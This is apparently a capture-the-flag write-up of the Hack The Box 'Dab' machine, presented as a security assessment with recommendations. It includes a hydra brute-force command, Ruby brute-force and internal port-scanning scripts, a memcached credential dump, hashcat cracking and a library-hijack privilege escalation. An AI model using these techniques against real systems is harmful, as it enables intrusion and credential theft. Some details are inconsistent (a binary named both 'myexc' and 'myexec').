Hack The Box DAB Writeup Security Assessment
February 03, 2019Introduction to the target.
Here we present a writeup of the “Dab” server and the applications it hosts. As we walk through each issue identified, we’ll recommend a suitable mitigation against exploitation. A quick review of open services gives us a few targets.
FTP
The ftp service accepts anonymous logons appears to have the single purpose of serving the organisation logo.
Recommendation
Although no significant issue is currently found here, in order to reduce attack surface, this service should be considered for removal.
Web
The web application service initially confronts a viewer with a username/password prompt. By testing several passwords, it can be identified that there is no account lockout or rate limiting in place, leading to an obvious potential for brute forcing. The following hydra script has been designed for the site in question:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <address> http-post-form "/login:password=^PASS^&username=^USER^:failed"
It takes just a few minutes to identify a valid logon, and it should be stressed that the identified credentials meet strict password complexity policies. That is, it contained upper case, lower case, and numeric characters. Accordingly, such policies are not the solution to this type of problem.
Developers console
The second service to review is the developer’s console, on port 8080. This service utilises a more complex authentication system. The below custom code was built from reviewing browser interactions with the site, and will similarly brute force a valid credentials.
#!/usr/bin/env ruby
#
require 'httpclient'
require 'httpclient/webagent-cookie'
URL = URI.parse "http://SERVICE:8080/"
def win(password)
puts "Won with #{password}"
exit
end
File.open '/usr/share/wordlists/rockyou.txt' do |f|
f.each_line do |password|
cookie = WebAgent::Cookie.new
cookie.name = "password"
cookie.value = password.chomp
cookie.url = URL
client = HTTPClient.new
client.cookie_manager.add cookie
response = client.get URL
puts "Failed password '#{password.chomp}'"
win(password) unless response.body.match(/Access denied/)
end
end
Recommendations
Rather than review credentials systems, the developer console could consider alternate authentication mechanisms. These could include requiring VPN access, or IP based whitelisting in addition to the existing solution.
Utilising the developer console
The developer console can be utilised to connect to an arbitrary local port. The following script has been developed to enumerate all local services by abusing this functionality of the developer’s console. This identifies access to several ports not accessible from the outside world.
#!/usr/bin/env ruby
#
require 'httpclient'
require 'httpclient/webagent-cookie'
URL = URI.parse "http://SERVER:8080/"
def win(port)
puts "Won with #{port}"
end
cookie = WebAgent::Cookie.new
cookie.name = "password"
cookie.value = VALUE
cookie.url = URL
1.upto TOP do |port|
client = HTTPClient.new
client.cookie_manager.add cookie
response = client.get URI.parse "http://SERVER:8080/socket?port=#{port}&cmd=test"
puts "Failed port '#{port}'"
win(port) unless response.body.match(/500 Internal/)
end
The capability is not seen as a vulnerability in the developer’s console, but rather as an indication the console itself requires better access control.
Extracting a password list
The developer’s console identifies a memcached service running, and accepting raw string data from that console. The following URL can be utilised to dump available cache information:
http://SERVER:8080/socket?port=11211&cmd=stats+items
Further information regarding the memcache protocol can be reviewed here.
With this background, the below script can be utilised to dump cached passwords. It is required to manually attempt to logon to the console shortly before running this script.
#!/usr/bin/env ruby
#
require 'json'
list = File.read "userlist.json"
listj = JSON.parse(list)
listj.each_pair do |user, password|
puts "#{user}:#{password}"
end
This should dump 495 username/hashed password combinations.
hashcat64 --show dab.txt rockyou -m 0 --username
Allows for a relatively quick brute force attack on the dumped data, supplying 12 valid user credentials. Once of these is a valid SSH user.
Privilege Escalation
Enough enumerating various paths will lead you to a SUID root binary named ‘myexc’. Running it looks like this:
myexec
Enter password:
Attempting to copy the binary offsite to debug will inform you a library is required, which we can easily find:
$ find /usr -name libseclogin*
/usr/lib/libseclogin.so
/usr/src/libseclogin
genevieve@dab:~$ ls /usr/src/libseclogin/
seclogin.h
genevieve@dab:~$ cat /usr/src/libseclogin/seclogin.h
#include<stdio.h>
extern unsigned int seclogin();
ltrace happily tells us the password required to proceed.
ltrace myexec
__libc_start_main(0x400836, 1, 0x7fff4a651bc8, 0x4008f0 <unfinished ...>
printf("Enter password: ") = 16
__isoc99_scanf(0x400985, 0x7fff4a651a90, 0x7f491a4c5780, 16Enter password: atest
) = 1
strcmp("s3cur3l0g1n", "atest") = 18
puts("Invalid password\n"Invalid password
) = 18
+++ exited (status 1) +++
Let’s use that and see what the binary has in store for us. Note, saw above what seclogin() looks like and how exactly it responds.
genevieve@dab:~$ myexec
Enter password: s3cur3l0g1n
Password is correct
seclogin() called
TODO: Placeholder for now, function not implemented yet
The attacker really should be blocked at this point. Utilising an external library isn’t a vulnerability on a SUID binary, since the usual LD_PRELOAD tricks are ignored by the OS. In fact, the only place a preloaded library is accepted from is the locations defined under /etc/ld/so.conf.d. What do we see here however?
cat /etc/ld.so.conf.d/test.conf
/tmp
At this point, we have a valid preload path, and a function we know how to call. Let’s build and run a shell:
mine.c: In function ‘seclogin’:
mine.c:9:1: warning: control reaches end of non-void function [-Wreturn-type]
}
^
genevieve@dab:~$ myexec
Enter password: s3cur3l0g1n
Password is correct
$ whoami
genevieve
$ id
uid=1000(genevieve) gid=0(root) groups=0(root),1000(genevieve)
And with root access, the attacker has full control of the machine. Our recommendation in response is to move development projects off the production servers.